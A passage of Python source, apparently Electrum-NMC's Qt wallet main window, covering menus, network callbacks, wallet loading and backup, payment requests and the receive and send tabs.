self.setWindowIcon(QIcon(":icons/electrum.png")) self.init_menubar() wrtabs = weakref.proxy(tabs) QShortcut(QKeySequence("Ctrl+W"), self, self.close) QShortcut(QKeySequence("Ctrl+Q"), self, self.close) QShortcut(QKeySequence("Ctrl+R"), self, self.update_wallet) QShortcut(QKeySequence("Ctrl+PgUp"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() - 1)%wrtabs.count())) QShortcut(QKeySequence("Ctrl+PgDown"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() + 1)%wrtabs.count())) for i in range(wrtabs.count()): QShortcut(QKeySequence("Alt+" + str(i + 1)), self, lambda i=i: wrtabs.setCurrentIndex(i)) self.payment_request_ok_signal.connect(self.payment_request_ok) self.payment_request_error_signal.connect(self.payment_request_error) self.notify_transactions_signal.connect(self.notify_transactions) self.history_list.setFocus(True) # network callbacks if self.network: self.network_signal.connect(self.on_network_qt) interests = ['updated', 'new_transaction', 'status', 'banner', 'verified', 'fee'] # To avoid leaking references to "self" that prevent the # window from being GC-ed when closed, callbacks should be # methods of this class only, and specifically not be # partials, lambdas or methods of subobjects. Hence... self.network.register_callback(self.on_network, interests) # set initial message self.console.showMessage(self.network.banner) self.network.register_callback(self.on_quotes, ['on_quotes']) self.network.register_callback(self.on_history, ['on_history']) self.new_fx_quotes_signal.connect(self.on_fx_quotes) self.new_fx_history_signal.connect(self.on_fx_history) # update fee slider in case we missed the callback self.fee_slider.update() self.load_wallet(wallet) self.connect_slots(gui_object.timer) self.fetch_alias() def on_history(self, b): self.new_fx_history_signal.emit() def setup_exception_hook(self): Exception_Hook(self) def on_fx_history(self): self.history_list.refresh_headers() self.history_list.update() self.address_list.update() def on_quotes(self, b): self.new_fx_quotes_signal.emit() def on_fx_quotes(self): self.update_status() # Refresh edits with the new rate edit = self.fiat_send_e if self.fiat_send_e.is_last_edited else self.amount_e edit.textEdited.emit(edit.text()) edit = self.fiat_receive_e if self.fiat_receive_e.is_last_edited else self.receive_amount_e edit.textEdited.emit(edit.text()) # History tab needs updating if it used spot if self.fx.history_used_spot: self.history_list.update() def toggle_tab(self, tab): show = not self.config.get('show_{}_tab'.format(tab.tab_name), False) self.config.set_key('show_{}_tab'.format(tab.tab_name), show) item_text = (_("Hide") if show else _("Show")) + " " + tab.tab_description tab.menu_action.setText(item_text) if show: # Find out where to place the tab index = len(self.tabs) for i in range(len(self.tabs)): try: if tab.tab_pos < self.tabs.widget(i).tab_pos: index = i break except AttributeError: pass self.tabs.insertTab(index, tab, tab.tab_icon, tab.tab_description.replace("&", "")) else: i = self.tabs.indexOf(tab) self.tabs.removeTab(i) def push_top_level_window(self, window): '''Used for e.g. tx dialog box to ensure new dialogs are appropriately parented. This used to be done by explicitly providing the parent window, but that isn't something hardware wallet prompts know.''' self.tl_windows.append(window) def pop_top_level_window(self, window): self.tl_windows.remove(window) def top_level_window(self, test_func=None): '''Do the right thing in the presence of tx dialog windows''' override = self.tl_windows[-1] if self.tl_windows else None if override and test_func and not test_func(override): override = None # only override if ok for test_func return self.top_level_window_recurse(override, test_func) def diagnostic_name(self): return "%s/%s" % (PrintError.diagnostic_name(self), self.wallet.basename() if self.wallet else "None") def is_hidden(self): return self.isMinimized() or self.isHidden() def show_or_hide(self): if self.is_hidden(): self.bring_to_top() else: self.hide() def bring_to_top(self): self.show() self.raise_() def on_error(self, exc_info): if not isinstance(exc_info[1], UserCancelled): traceback.print_exception(*exc_info) self.show_error(str(exc_info[1])) def on_network(self, event, *args): if event == 'updated': self.need_update.set() self.gui_object.network_updated_signal_obj.network_updated_signal \ .emit(event, args) elif event == 'new_transaction': self.tx_notifications.append(args[0]) self.notify_transactions_signal.emit() elif event in ['status', 'banner', 'verified', 'fee']: # Handle in GUI thread self.network_signal.emit(event, args) else: self.print_error("unexpected network message:", event, args) def on_network_qt(self, event, args=None): # Handle a network message in the GUI thread if event == 'status': self.update_status() elif event == 'banner': self.console.showMessage(args[0]) elif event == 'verified': self.history_list.update_item(*args) elif event == 'fee': if self.config.is_dynfee(): self.fee_slider.update() self.do_update_fee() elif event == 'fee_histogram': if self.config.is_dynfee(): self.fee_slider.update() self.do_update_fee() # todo: update only unconfirmed tx self.history_list.update() else: self.print_error("unexpected network_qt signal:", event, args) def fetch_alias(self): self.alias_info = None alias = self.config.get('alias') if alias: alias = str(alias) def f(): self.alias_info = self.contacts.resolve_openalias(alias) self.alias_received_signal.emit() t = threading.Thread(target=f) t.setDaemon(True) t.start() def close_wallet(self): if self.wallet: self.print_error('close_wallet', self.wallet.storage.path) run_hook('close_wallet', self.wallet) @profiler def load_wallet(self, wallet): wallet.thread = TaskThread(self, self.on_error) self.wallet = wallet self.update_recently_visited(wallet.storage.path) # address used to create a dummy transaction and estimate transaction fee self.history_list.update() self.address_list.update() self.utxo_list.update() self.need_update.set() # Once GUI has been initialized check if we want to announce something since the callback has been called before the GUI was initialized self.notify_transactions() # update menus self.seed_menu.setEnabled(self.wallet.has_seed()) self.update_lock_icon() self.update_buttons_on_seed() self.update_console() self.clear_receive_tab() self.request_list.update() self.tabs.show() self.init_geometry() if self.config.get('hide_gui') and self.gui_object.tray.isVisible(): self.hide() else: self.show() self.watching_only_changed() run_hook('load_wallet', wallet, self) def init_geometry(self): winpos = self.wallet.storage.get("winpos-qt") try: screen = self.app.desktop().screenGeometry() assert screen.contains(QRect(*winpos)) self.setGeometry(*winpos) except: self.print_error("using default geometry") self.setGeometry(100, 100, 840, 400) def watching_only_changed(self): name = "Electrum-NMC Testnet" if constants.net.TESTNET else "Electrum-NMC" title = '%s %s - %s' % (name, self.wallet.electrum_version, self.wallet.basename()) extra = [self.wallet.storage.get('wallet_type', '?')] if self.wallet.is_watching_only(): self.warn_if_watching_only() extra.append(_('watching only')) title += ' [%s]'% ', '.join(extra) self.setWindowTitle(title) self.password_menu.setEnabled(self.wallet.may_have_password()) self.import_privkey_menu.setVisible(self.wallet.can_import_privkey()) self.import_address_menu.setVisible(self.wallet.can_import_address()) self.export_menu.setEnabled(self.wallet.can_export()) def warn_if_watching_only(self): if self.wallet.is_watching_only(): msg = ' '.join([ _("This wallet is watching-only."), _("This means you will not be able to spend Namecoins with it."), _("Make sure you own the seed phrase or the private keys, before you request Namecoins to be sent to this wallet.") ]) self.show_warning(msg, title=_('Information')) def open_wallet(self): try: wallet_folder = self.get_wallet_folder() except FileNotFoundError as e: self.show_error(str(e)) return filename, __ = QFileDialog.getOpenFileName(self, "Select your wallet file", wallet_folder) if not filename: return self.gui_object.new_window(filename) def backup_wallet(self): path = self.wallet.storage.path wallet_folder = os.path.dirname(path) filename, __ = QFileDialog.getSaveFileName(self, _('Enter a filename for the copy of your wallet'), wallet_folder) if not filename: return new_path = os.path.join(wallet_folder, filename) if new_path != path: try: shutil.copy2(path, new_path) self.show_message(_("A copy of your wallet file was created in")+" '%s'" % str(new_path), title=_("Wallet backup created")) except BaseException as reason: self.show_critical(_("Electrum was unable to copy your wallet file to the specified location.") + "\n" + str(reason), title=_("Unable to create backup")) def update_recently_visited(self, filename): recent = self.config.get('recently_open', []) try: sorted(recent) except: recent = [] if filename in recent: recent.remove(filename) recent.insert(0, filename) recent = recent[:5] self.config.set_key('recently_open', recent) self.recently_visited_menu.clear() for i, k in enumerate(sorted(recent)): b = os.path.basename(k) def loader(k): return lambda: self.gui_object.new_window(k) self.recently_visited_menu.addAction(b, loader(k)).setShortcut(QKeySequence("Ctrl+%d"%(i+1))) self.recently_visited_menu.setEnabled(len(recent)) def get_wallet_folder(self): return os.path.dirname(os.path.abspath(self.config.get_wallet_path())) def new_wallet(self): try: wallet_folder = self.get_wallet_folder() except FileNotFoundError as e: self.show_error(str(e)) return i = 1 while True: filename = "wallet_%d" % i if filename in os.listdir(wallet_folder): i += 1 else: break full_path = os.path.join(wallet_folder, filename) self.gui_object.start_new_window(full_path, None) def init_menubar(self): menubar = QMenuBar() file_menu = menubar.addMenu(_("&File")) self.recently_visited_menu = file_menu.addMenu(_("&Recently open")) file_menu.addAction(_("&Open"), self.open_wallet).setShortcut(QKeySequence.Open) file_menu.addAction(_("&New/Restore"), self.new_wallet).setShortcut(QKeySequence.New) file_menu.addAction(_("&Save Copy"), self.backup_wallet).setShortcut(QKeySequence.SaveAs) file_menu.addAction(_("Delete"), self.remove_wallet) file_menu.addSeparator() file_menu.addAction(_("&Quit"), self.close) wallet_menu = menubar.addMenu(_("&Wallet")) wallet_menu.addAction(_("&Information"), self.show_master_public_keys) wallet_menu.addSeparator() self.password_menu = wallet_menu.addAction(_("&Password"), self.change_password_dialog) self.seed_menu = wallet_menu.addAction(_("&Seed"), self.show_seed_dialog) self.private_keys_menu = wallet_menu.addMenu(_("&Private keys")) self.private_keys_menu.addAction(_("&Sweep"), self.sweep_key_dialog) self.import_privkey_menu = self.private_keys_menu.addAction(_("&Import"), self.do_import_privkey) self.export_menu = self.private_keys_menu.addAction(_("&Export"), self.export_privkeys_dialog) self.import_address_menu = wallet_menu.addAction(_("Import addresses"), self.import_addresses) wallet_menu.addSeparator() addresses_menu = wallet_menu.addMenu(_("&Addresses")) addresses_menu.addAction(_("&Filter"), lambda: self.address_list.toggle_toolbar(self.config)) labels_menu = wallet_menu.addMenu(_("&Labels")) labels_menu.addAction(_("&Import"), self.do_import_labels) labels_menu.addAction(_("&Export"), self.do_export_labels) history_menu = wallet_menu.addMenu(_("&History")) history_menu.addAction(_("&Filter"), lambda: self.history_list.toggle_toolbar(self.config)) history_menu.addAction(_("&Summary"), self.history_list.show_summary) history_menu.addAction(_("&Plot"), self.history_list.plot_history_dialog) history_menu.addAction(_("&Export"), self.history_list.export_history_dialog) contacts_menu = wallet_menu.addMenu(_("Contacts")) contacts_menu.addAction(_("&New"), self.new_contact_dialog) contacts_menu.addAction(_("Import"), lambda: self.contact_list.import_contacts()) contacts_menu.addAction(_("Export"), lambda: self.contact_list.export_contacts()) invoices_menu = wallet_menu.addMenu(_("Invoices")) invoices_menu.addAction(_("Import"), lambda: self.invoice_list.import_invoices()) invoices_menu.addAction(_("Export"), lambda: self.invoice_list.export_invoices()) wallet_menu.addSeparator() wallet_menu.addAction(_("Find"), self.toggle_search).setShortcut(QKeySequence("Ctrl+F")) def add_toggle_action(view_menu, tab): is_shown = self.config.get('show_{}_tab'.format(tab.tab_name), False) item_name = (_("Hide") if is_shown else _("Show")) + " " + tab.tab_description tab.menu_action = view_menu.addAction(item_name, lambda: self.toggle_tab(tab)) view_menu = menubar.addMenu(_("&View")) add_toggle_action(view_menu, self.addresses_tab) add_toggle_action(view_menu, self.utxo_tab) add_toggle_action(view_menu, self.contacts_tab) add_toggle_action(view_menu, self.console_tab) tools_menu = menubar.addMenu(_("&Tools")) # Settings / Preferences are all reserved keywords in macOS using this as work around tools_menu.addAction(_("Electrum preferences") if sys.platform == 'darwin' else _("Preferences"), self.settings_dialog) tools_menu.addAction(_("&Network"), lambda: self.gui_object.show_network_dialog(self)) tools_menu.addAction(_("&Plugins"), self.plugins_dialog) tools_menu.addSeparator() tools_menu.addAction(_("&Sign/verify message"), self.sign_verify_message) tools_menu.addAction(_("&Encrypt/decrypt message"), self.encrypt_message) tools_menu.addSeparator() paytomany_menu = tools_menu.addAction(_("&Pay to many"), self.paytomany) raw_transaction_menu = tools_menu.addMenu(_("&Load transaction")) raw_transaction_menu.addAction(_("&From file"), self.do_process_from_file) raw_transaction_menu.addAction(_("&From text"), self.do_process_from_text) raw_transaction_menu.addAction(_("&From the blockchain"), self.do_process_from_txid) raw_transaction_menu.addAction(_("&From QR code"), self.read_tx_from_qrcode) self.raw_transaction_menu = raw_transaction_menu run_hook('init_menubar_tools', self, tools_menu) help_menu = menubar.addMenu(_("&Help")) help_menu.addAction(_("&About"), self.show_about) help_menu.addAction(_("&Official website"), lambda: webbrowser.open("https://www.namecoin.org")) help_menu.addSeparator() help_menu.addAction(_("&Documentation"), lambda: webbrowser.open("http://docs.electrum.org/")).setShortcut(QKeySequence.HelpContents) help_menu.addAction(_("&Report Bug"), self.show_report_bug) help_menu.addSeparator() help_menu.addAction(_("&Donate to server"), self.donate_to_server) self.setMenuBar(menubar) def donate_to_server(self): d = self.network.get_donation_address() if d: host = self.network.get_parameters()[0] self.pay_to_URI('namecoin:%s?message=donation for %s'%(d, host)) else: self.show_error(_('No donation address for this server')) def show_about(self): QMessageBox.about(self, "Electrum-NMC", _("Version")+" %s" % (self.wallet.electrum_version) + "\n\n" + _("Electrum-NMC's focus is speed, with low resource usage and simplifying Namecoin. You do not need to perform regular backups, because your wallet can be recovered from a secret phrase that you can memorize or write on paper. Startup times are instant because it operates in conjunction with high-performance servers that handle the most complicated parts of the Namecoin system." + "\n\n" + _("Uses icons from the Icons8 icon pack (icons8.com)."))) def show_report_bug(self): msg = ' '.join([ _("Please report any bugs as issues on github:<br/>"), "<a href=\"https://github.com/namecoin/electrum-nmc/issues\">https://github.com/namecoin/electrum-nmc/issues</a><br/><br/>", _("Before reporting a bug, upgrade to the most recent version of Electrum-NMC (latest release or git HEAD), and include the version number in your report."), _("Try to explain not only what the bug is, but how it occurs.") ]) self.show_message(msg, title="Electrum-NMC - " + _("Reporting Bugs")) def notify_transactions(self): if not self.network or not self.network.is_connected(): return self.print_error("Notifying GUI") if len(self.tx_notifications) > 0: # Combine the transactions if there are at least three num_txns = len(self.tx_notifications) if num_txns >= 3: total_amount = 0 for tx in self.tx_notifications: is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx) if v > 0: total_amount += v self.notify(_("{} new transactions received: Total amount received in the new transactions {}") .format(num_txns, self.format_amount_and_units(total_amount))) self.tx_notifications = [] else: for tx in self.tx_notifications: if tx: self.tx_notifications.remove(tx) is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx) if v > 0: self.notify(_("New transaction received: {}").format(self.format_amount_and_units(v))) def notify(self, message): if self.tray: try: # this requires Qt 5.9 self.tray.showMessage("Electrum-NMC", message, QIcon(":icons/electrum_dark_icon"), 20000) except TypeError: self.tray.showMessage("Electrum-NMC", message, QSystemTrayIcon.Information, 20000) # custom wrappers for getOpenFileName and getSaveFileName, that remember the path selected by the user def getOpenFileName(self, title, filter = ""): directory = self.config.get('io_dir', os.path.expanduser('~')) fileName, __ = QFileDialog.getOpenFileName(self, title, directory, filter) if fileName and directory != os.path.dirname(fileName): self.config.set_key('io_dir', os.path.dirname(fileName), True) return fileName def getSaveFileName(self, title, filename, filter = ""): directory = self.config.get('io_dir', os.path.expanduser('~')) path = os.path.join( directory, filename ) fileName, __ = QFileDialog.getSaveFileName(self, title, path, filter) if fileName and directory != os.path.dirname(fileName): self.config.set_key('io_dir', os.path.dirname(fileName), True) return fileName def connect_slots(self, sender): sender.timer_signal.connect(self.timer_actions) def timer_actions(self): # Note this runs in the GUI thread if self.need_update.is_set(): self.need_update.clear() self.update_wallet() # resolve aliases # FIXME this is a blocking network call that has a timeout of 5 sec self.payto_e.resolve() # update fee if self.require_fee_update: self.do_update_fee() self.require_fee_update = False def format_amount(self, x, is_diff=False, whitespaces=False): return format_satoshis(x, self.num_zeros, self.decimal_point, is_diff=is_diff, whitespaces=whitespaces) def format_amount_and_units(self, amount): text = self.format_amount(amount) + ' '+ self.base_unit() x = self.fx.format_amount_and_units(amount) if self.fx else None if text and x: text += ' (%s)'%x return text def format_fee_rate(self, fee_rate): return format_fee_satoshis(fee_rate/1000, self.num_zeros) + ' swartz/byte' def get_decimal_point(self): return self.decimal_point def base_unit(self): return decimal_point_to_base_unit_name(self.decimal_point) def connect_fields(self, window, btc_e, fiat_e, fee_e): def edit_changed(edit): if edit.follows: return edit.setStyleSheet(ColorScheme.DEFAULT.as_stylesheet()) fiat_e.is_last_edited = (edit == fiat_e) amount = edit.get_amount() rate = self.fx.exchange_rate() if self.fx else Decimal('NaN') if rate.is_nan() or amount is None: if edit is fiat_e: btc_e.setText("") if fee_e: fee_e.setText("") else: fiat_e.setText("") else: if edit is fiat_e: btc_e.follows = True btc_e.setAmount(int(amount / Decimal(rate) * COIN)) btc_e.setStyleSheet(ColorScheme.BLUE.as_stylesheet()) btc_e.follows = False if fee_e: window.update_fee() else: fiat_e.follows = True fiat_e.setText(self.fx.ccy_amount_str( amount * Decimal(rate) / COIN, False)) fiat_e.setStyleSheet(ColorScheme.BLUE.as_stylesheet()) fiat_e.follows = False btc_e.follows = False fiat_e.follows = False fiat_e.textChanged.connect(partial(edit_changed, fiat_e)) btc_e.textChanged.connect(partial(edit_changed, btc_e)) fiat_e.is_last_edited = False def update_status(self): if not self.wallet: return if self.network is None or not self.network.is_running(): text = _("Offline") icon = QIcon(":icons/status_disconnected.png") elif self.network.is_connected(): server_height = self.network.get_server_height() server_lag = self.network.get_local_height() - server_height # Server height can be 0 after switching to a new server # until we get a headers subscription request response. # Display the synchronizing message in that case. if not self.wallet.up_to_date or server_height == 0: text = _("Synchronizing...") icon = QIcon(":icons/status_waiting.png") elif server_lag > 1: text = _("Server is lagging ({} blocks)").format(server_lag) icon = QIcon(":icons/status_lagging.png") else: c, u, x = self.wallet.get_balance() text = _("Balance" ) + ": %s "%(self.format_amount_and_units(c)) if u: text += " [%s unconfirmed]"%(self.format_amount(u, is_diff=True).strip()) if x: text += " [%s unmatured]"%(self.format_amount(x, is_diff=True).strip()) # append fiat balance and price if self.fx.is_enabled(): text += self.fx.get_fiat_status_text(c + u + x, self.base_unit(), self.get_decimal_point()) or '' if not self.network.proxy: icon = QIcon(":icons/status_connected.png") else: icon = QIcon(":icons/status_connected_proxy.png") else: if self.network.proxy: text = "{} ({})".format(_("Not connected"), _("proxy enabled")) else: text = _("Not connected") icon = QIcon(":icons/status_disconnected.png") self.tray.setToolTip("%s (%s)" % (text, self.wallet.basename())) self.balance_label.setText(text) self.status_button.setIcon( icon ) def update_wallet(self): self.update_status() if self.wallet.up_to_date or not self.network or not self.network.is_connected(): self.update_tabs() def update_tabs(self): self.history_list.update() self.request_list.update() self.address_list.update() self.utxo_list.update() self.contact_list.update() self.invoice_list.update() self.update_completions() def create_history_tab(self): from .history_list import HistoryList self.history_list = l = HistoryList(self) l.searchable_list = l toolbar = l.create_toolbar(self.config) toolbar_shown = self.config.get('show_toolbar_history', False) l.show_toolbar(toolbar_shown) return self.create_list_tab(l, toolbar) def show_address(self, addr): from . import address_dialog d = address_dialog.AddressDialog(self, addr) d.exec_() def show_transaction(self, tx, tx_desc = None): '''tx_desc is set only for txs created in the Send tab''' show_transaction(tx, self, tx_desc) def create_receive_tab(self): # A 4-column grid layout. All the stretch is in the last column. # The exchange rate plugin adds a fiat widget in column 2 self.receive_grid = grid = QGridLayout() grid.setSpacing(8) grid.setColumnStretch(3, 1) self.receive_address_e = ButtonsLineEdit() self.receive_address_e.addCopyButton(self.app) self.receive_address_e.setReadOnly(True) msg = _('Namecoin address where the payment should be received. Note that each payment request uses a different Namecoin address.') self.receive_address_label = HelpLabel(_('Receiving address'), msg) self.receive_address_e.textChanged.connect(self.update_receive_qr) self.receive_address_e.setFocusPolicy(Qt.ClickFocus) grid.addWidget(self.receive_address_label, 0, 0) grid.addWidget(self.receive_address_e, 0, 1, 1, -1) self.receive_message_e = QLineEdit() grid.addWidget(QLabel(_('Description')), 1, 0) grid.addWidget(self.receive_message_e, 1, 1, 1, -1) self.receive_message_e.textChanged.connect(self.update_receive_qr) self.receive_amount_e = BTCAmountEdit(self.get_decimal_point) grid.addWidget(QLabel(_('Requested amount')), 2, 0) grid.addWidget(self.receive_amount_e, 2, 1) self.receive_amount_e.textChanged.connect(self.update_receive_qr) self.fiat_receive_e = AmountEdit(self.fx.get_currency if self.fx else '') if not self.fx or not self.fx.is_enabled(): self.fiat_receive_e.setVisible(False) grid.addWidget(self.fiat_receive_e, 2, 2, Qt.AlignLeft) self.connect_fields(self, self.receive_amount_e, self.fiat_receive_e, None) self.expires_combo = QComboBox() self.expires_combo.addItems([i[0] for i in expiration_values]) self.expires_combo.setCurrentIndex(3) self.expires_combo.setFixedWidth(self.receive_amount_e.width()) msg = ' '.join([ _('Expiration date of your request.'), _('This information is seen by the recipient if you send them a signed payment request.'), _('Expired requests have to be deleted manually from your list, in order to free the corresponding Namecoin addresses.'), _('The namecoin address never expires and will always be part of this electrum wallet.'), ]) grid.addWidget(HelpLabel(_('Request expires'), msg), 3, 0) grid.addWidget(self.expires_combo, 3, 1) self.expires_label = QLineEdit('') self.expires_label.setReadOnly(1) self.expires_label.setFocusPolicy(Qt.NoFocus) self.expires_label.hide() grid.addWidget(self.expires_label, 3, 1) self.save_request_button = QPushButton(_('Save')) self.save_request_button.clicked.connect(self.save_payment_request) self.new_request_button = QPushButton(_('New')) self.new_request_button.clicked.connect(self.new_payment_request) self.receive_qr = QRCodeWidget(fixedSize=200) self.receive_qr.mouseReleaseEvent = lambda x: self.toggle_qr_window() self.receive_qr.enterEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.PointingHandCursor)) self.receive_qr.leaveEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.ArrowCursor)) self.receive_buttons = buttons = QHBoxLayout() buttons.addStretch(1) buttons.addWidget(self.save_request_button) buttons.addWidget(self.new_request_button) grid.addLayout(buttons, 4, 1, 1, 2) self.receive_requests_label = QLabel(_('Requests')) from .request_list import RequestList self.request_list = RequestList(self) # layout vbox_g = QVBoxLayout() vbox_g.addLayout(grid) vbox_g.addStretch() hbox = QHBoxLayout() hbox.addLayout(vbox_g) hbox.addWidget(self.receive_qr) w = QWidget() w.searchable_list = self.request_list vbox = QVBoxLayout(w) vbox.addLayout(hbox) vbox.addStretch(1) vbox.addWidget(self.receive_requests_label) vbox.addWidget(self.request_list) vbox.setStretchFactor(self.request_list, 1000) return w def delete_payment_request(self, addr): self.wallet.remove_payment_request(addr, self.config) self.request_list.update() self.clear_receive_tab() def get_request_URI(self, addr): req = self.wallet.receive_requests[addr] message = self.wallet.labels.get(addr, '') amount = req['amount'] URI = util.create_URI(addr, amount, message) if req.get('time'): URI += "&time=%d"%req.get('time') if req.get('exp'): URI += "&exp=%d"%req.get('exp') if req.get('name') and req.get('sig'): sig = bfh(req.get('sig')) sig = bitcoin.base_encode(sig, base=58) URI += "&name=" + req['name'] + "&sig="+sig return str(URI) def sign_payment_request(self, addr): alias = self.config.get('alias') alias_privkey = None if alias and self.alias_info: alias_addr, alias_name, validated = self.alias_info if alias_addr: if self.wallet.is_mine(alias_addr): msg = _('This payment request will be signed.') + '\n' + _('Please enter your password') password = None if self.wallet.has_keystore_encryption(): password = self.password_dialog(msg) if not password: return try: self.wallet.sign_payment_request(addr, alias, alias_addr, password) except Exception as e: self.show_error(str(e)) return else: return def save_payment_request(self): addr = str(self.receive_address_e.text()) amount = self.receive_amount_e.get_amount() message = self.receive_message_e.text() if not message and not amount: self.show_error(_('No message or amount')) return False i = self.expires_combo.currentIndex() expiration = list(map(lambda x: x[1], expiration_values))[i] req = self.wallet.make_payment_request(addr, amount, message, expiration) try: self.wallet.add_payment_request(req, self.config) except Exception as e: traceback.print_exc(file=sys.stderr) self.show_error(_('Error adding payment request') + ':\n' + str(e)) else: self.sign_payment_request(addr) self.save_request_button.setEnabled(False) finally: self.request_list.update() self.address_list.update() def view_and_paste(self, title, msg, data): dialog = WindowModalDialog(self, title) vbox = QVBoxLayout() label = QLabel(msg) label.setWordWrap(True) vbox.addWidget(label) pr_e = ShowQRTextEdit(text=data) vbox.addWidget(pr_e) vbox.addLayout(Buttons(CopyCloseButton(pr_e.text, self.app, dialog))) dialog.setLayout(vbox) dialog.exec_() def export_payment_request(self, addr): r = self.wallet.receive_requests.get(addr) pr = paymentrequest.serialize_request(r).SerializeToString() name = r['id'] + '.bip70' fileName = self.getSaveFileName(_("Select where to save your payment request"), name, "*.bip70") if fileName: with open(fileName, "wb+") as f: f.write(util.to_bytes(pr)) self.show_message(_("Request saved successfully")) self.saved = True def new_payment_request(self): addr = self.wallet.get_unused_address() if addr is None: if not self.wallet.is_deterministic(): msg = [ _('No more addresses in your wallet.'), _('You are using a non-deterministic wallet, which cannot create new addresses.'), _('If you want to create new addresses, use a deterministic wallet instead.') ] self.show_message(' '.join(msg)) return if not self.question(_("Warning: The next address will not be recovered automatically if you restore your wallet from seed; you may need to add it manually.\n\nThis occurs because you have too many unused addresses in your wallet. To avoid this situation, use the existing addresses first.\n\nCreate anyway?")): return addr = self.wallet.create_new_address(False) self.set_receive_address(addr) self.expires_label.hide() self.expires_combo.show() self.new_request_button.setEnabled(False) self.receive_message_e.setFocus(1) def set_receive_address(self, addr): self.receive_address_e.setText(addr) self.receive_message_e.setText('') self.receive_amount_e.setAmount(None) def clear_receive_tab(self): addr = self.wallet.get_receiving_address() or '' self.receive_address_e.setText(addr) self.receive_message_e.setText('') self.receive_amount_e.setAmount(None) self.expires_label.hide() self.expires_combo.show() def toggle_qr_window(self): from . import qrwindow if not self.qr_window: self.qr_window = qrwindow.QR_Window(self) self.qr_window.setVisible(True) self.qr_window_geometry = self.qr_window.geometry() else: if not self.qr_window.isVisible(): self.qr_window.setVisible(True) self.qr_window.setGeometry(self.qr_window_geometry) else: self.qr_window_geometry = self.qr_window.geometry() self.qr_window.setVisible(False) self.update_receive_qr() def show_send_tab(self): self.tabs.setCurrentIndex(self.tabs.indexOf(self.send_tab)) def show_receive_tab(self): self.tabs.setCurrentIndex(self.tabs.indexOf(self.receive_tab)) def receive_at(self, addr): if not bitcoin.is_address(addr): return self.show_receive_tab() self.receive_address_e.setText(addr) self.new_request_button.setEnabled(True) def update_receive_qr(self): addr = str(self.receive_address_e.text()) amount = self.receive_amount_e.get_amount() message = self.receive_message_e.text() self.save_request_button.setEnabled((amount is not None) or (message != "")) uri = util.create_URI(addr, amount, message) self.receive_qr.setData(uri) if self.qr_window and self.qr_window.isVisible(): self.qr_window.set_content(addr, amount, message, uri) def set_feerounding_text(self, num_satoshis_added): self.feerounding_text = (_('Additional {} satoshis are going to be added.') .format(num_satoshis_added)) def create_send_tab(self): # A 4-column grid layout. All the stretch is in the last column. # The exchange rate plugin adds a fiat widget in column 2 self.send_grid = grid = QGridLayout() grid.setSpacing(8) grid.setColumnStretch(3, 1) from .paytoedit import PayToEdit self.amount_e = BTCAmountEdit(self.get_decimal_point) self.payto_e = PayToEdit(self) msg = _('Recipient of the funds.') + '\n\n'\ + _('You may enter a Namecoin address, a label from your list of contacts (a list of completions will be proposed), or an alias (email-like address that forwards to a Namecoin address)') payto_label = HelpLabel(_('Pay to'), msg) grid.addWidget(payto_label, 1, 0) grid.addWidget(self.payto_e, 1, 1, 1, -1) completer = QCompleter() completer.setCaseSensitivity(False) self.payto_e.set_completer(completer) completer.setModel(self.completions) msg = _('Description of the transaction (not mandatory).') + '\n\n'\ + _('The description is not sent to the recipient of the funds. It is stored in your wallet file, and displayed in the \'History\' tab.') description_label = HelpLabel(_('Description'), msg) grid.addWidget(description_label, 2, 0) self.message_e = MyLineEdit() grid.addWidget(self.message_e, 2, 1, 1, -1) self.from_label = QLabel(_('From')) grid.addWidget(self.from_label, 3, 0) self.from_list = MyTreeWidget(self, self.from_list_menu, ['','']) self.from_list.setHeaderHidden(True) self.from_list.setMaximumHeight(80) grid.addWidget(self.from_list, 3, 1, 1, -1) self.set_pay_from([]) msg = _('Amount to be sent.') + '\n\n' \ + _('The amount will be displayed in red if you do not have enough funds in your wallet.') + ' ' \ + _('Note that if you have frozen some of your addresses, the available funds will be lower than your total balance.') + '\n\n' \ + _('Keyboard shortcut: type "!" to send all your coins.') amount_label = HelpLabel(_('Amount'), msg) grid.addWidget(amount_label, 4, 0) grid.addWidget(self.amount_e, 4, 1) self.fiat_send_e = AmountEdit(self.fx.get_currency if self.fx else '') if not self.fx or not self.fx.is_enabled(): self.fiat_send_e.setVisible(False) grid.addWidget(self.fiat_send_e, 4, 2) self.amount_e.frozen.connect( lambda: self.fiat_send_e.setFrozen(self.amount_e.isReadOnly())) self.max_button = EnterButton(_("Max"), self.spend_max) self.max_button.setFixedWidth(140) grid.addWidget(self.max_button, 4, 3) hbox = QHBoxLayout() hbox.addStretch(1) grid.addLayout(hbox, 4, 4) msg = _('Namecoin transactions are in general not free. A transaction fee is paid by the sender of the funds.') + '\n\n'\ + _('The amount of fee can be decided freely by the sender. However, transactions with low fees take more time to be processed.') + '\n\n'\ + _('A suggested fee is automatically added to this field. You may override it. The suggested fee increases with the size of the transaction.') self.fee_e_label = HelpLabel(_('Fee'), msg) def fee_cb(dyn, pos, fee_rate): if dyn: if self.config.use_mempool_fees(): self.config.set_key('depth_level', pos, False) else: self.config.set_key('fee_level', pos, False) else: self.config.set_key('fee_per_kb', fee_rate, False) if fee_rate: fee_rate = Decimal(fee_rate) self.feerate_e.setAmount(quantize_feerate(fee_rate / 1000)) else: self.feerate_e.setAmount(None) self.fee_e.setModified(False) self.fee_slider.activate() self.spend_max() if self.is_max else self.update_fee() self.fee_slider = FeeSlider(self, self.config, fee_cb) self.fee_slider.setFixedWidth(140) def on_fee_or_feerate(edit_changed, editing_finished): edit_other = self.feerate_e if edit_changed == self.fee_e else self.fee_e if editing_finished: if not edit_changed.get_amount(): # This is so that when the user blanks the fee and moves on, # we go back to auto-calculate mode and put a fee back. edit_changed.setModified(False) else: # edit_changed was edited just now, so make sure we will # freeze the correct fee setting (this) edit_other.setModified(False) self.fee_slider.deactivate() self.update_fee() class TxSizeLabel(QLabel): def setAmount(self, byte_size): self.setText(('x %s bytes =' % byte_size) if byte_size else '') self.size_e = TxSizeLabel() self.size_e.setAlignment(Qt.AlignCenter) self.size_e.setAmount(0) self.size_e.setFixedWidth(140) self.size_e.setStyleSheet(ColorScheme.DEFAULT.as_stylesheet()) self.feerate_e = FeerateEdit(lambda: 0) self.feerate_e.setAmount(self.config.fee_per_byte()) self.feerate_e.textEdited.connect(partial(on_fee_or_feerate, 